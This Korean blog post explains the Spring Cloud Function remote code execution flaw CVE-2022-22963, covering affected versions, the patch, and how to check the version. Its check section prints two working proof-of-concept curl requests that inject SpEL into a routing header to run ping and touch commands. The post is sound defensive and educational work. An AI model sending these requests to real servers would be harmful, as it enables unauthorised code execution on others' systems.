Spring Cloud 취약점(CVE-2022-22963) 설명 및 조치 방법
※ Spring 취약점이 연달아 발견되면서 두 개가 같은 취약점이라고 오해하시는 분들이 많다. 22년 3월 29일에 공개된 CVE-2022-22963이 Spring Cloud 취약점이며, 22년 3월 30일에 공개된 CVE-2022-22965이 Spring Shell 취약점이다.
1. 용어 설명
용어 | 설명 |
Spring | Java 애플리케이션을 빠르고 쉽게 개발할 수 있게 해주는 프레임워크로 많은 개발자가 사용한다. |
Spring Cloud | 분산 환경에서 개발, 빌드, 배포, 운영에 필요한 아키텍처를 쉽게 구성할 수 있게 도와주는 Spring Boot 기반의 프레임워크를 말한다. |
Spring Cloud Function | 클라우드 서비스를 빌드 및 연결하기 위한 서버리스 실행 환경을 말한다. |
SpEL | 객체에 대한 쿼리와 조작(querying and manipulating)을 지원하는 강력한 표현 언어이다. |
Maven | 프로젝트 객체모델(Project Object Model: POM) 이라는 개념을 바탕으로 프로젝트의 의존성관리, 라이브러리관리, 프로젝트 라이프사이클 관리 기능등을 제공하는 프로젝트 관리도구이다. |
2. 취약점 요약
항목 | 내용 | 비고 |
CVE CODE | CVE-2022-22963 | Spring Cloud 취약점이라고 불린다. |
CVSS 점수 | 9.8(CRITICAL) | |
취약 내용 | Spring Cloud Function에서 발생하는 원격코드실행 취약점 | |
취약 대상 | Spring Cloud Function 3.1.6 ~ 3.2.2 | |
조치 방법 | Spring Cloud Function 3.1.7, 3.2.3 버전으로 업데이트 |
3. Spring Cloud Function 버전 확인 방법
Maven 프로젝트일 경우 pom.xml 파일을 열어 버전을 확인하거나 명령어를 통해 확인할 수 있다.
- pom.xml 에서의 Spring Cloud Function 버전 확인 방법.
- Spring Cloud Function 버전 확인 명령어.
grep -A 2'spring-cloud-function-context'pom.xml |
4. 공격 원리
HTTP 요청 헤더의 spring.cloud.function.routing-expression 매개변수에 조작된 SpEL(Spring Expression Language)을 입력할 경우 서버에서 코드를 실행할 수 있다.
5. 점검 방법(POC, Exploit)
아래의 명령어를 이용하여 본 취약점이 존재하는지 점검해 볼 수 있다. 구글에 검색해보면 수많은 방법이 존재하니, 다른 방식의 점검방법이 필요한 사람은 구글에 "CVE-2022-22963 POC"라고 검색해보길 바란다.
- ping 명령어를 이용한 점검 방법.(공격자에게 ping신호가 오는지로 취약유무 판단)
$ curl -i -s -k -X $'POST' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"ping -c5 172.17.0.1\")' -H $'Content-Type: application/x-www-form-urlencoded' $'http://172.17.0.2:8080/functionRouter' |
- 파일생성 명령어를 이용한 점검 방법.(특정 파일이 생성되는지로 취약유무 판단)
$ curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
|
6. 참고 URL
NVD - CVE-2022-22963 (nist.gov)
보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT
Detecting and Mitigating CVE-2022-22963: Spring Cloud RCE Vulnerability – Sysdig
GitHub - twseptian/cve-2022-22963: Spring Cloud Function SpEL - cve-2022-22963
'침해 사고 대응' 카테고리의 다른 글
22년 11월 MS 정기 보안 업데이트 정리 (0) | 2022.11.11 |
---|---|
Spring4Shell 취약점(CVE-2022-22965) 설명 및 조치 방법 (0) | 2022.04.13 |
log4j 취약점(CVE-2022-23307) 설명 및 대응 방법 (0) | 2022.01.22 |
log4j 취약점(CVE-2022-23305) 설명 및 대응 방법 (0) | 2022.01.22 |
log4j 취약점(CVE-2022-23302) 설명 및 대응 방법 (0) | 2022.01.22 |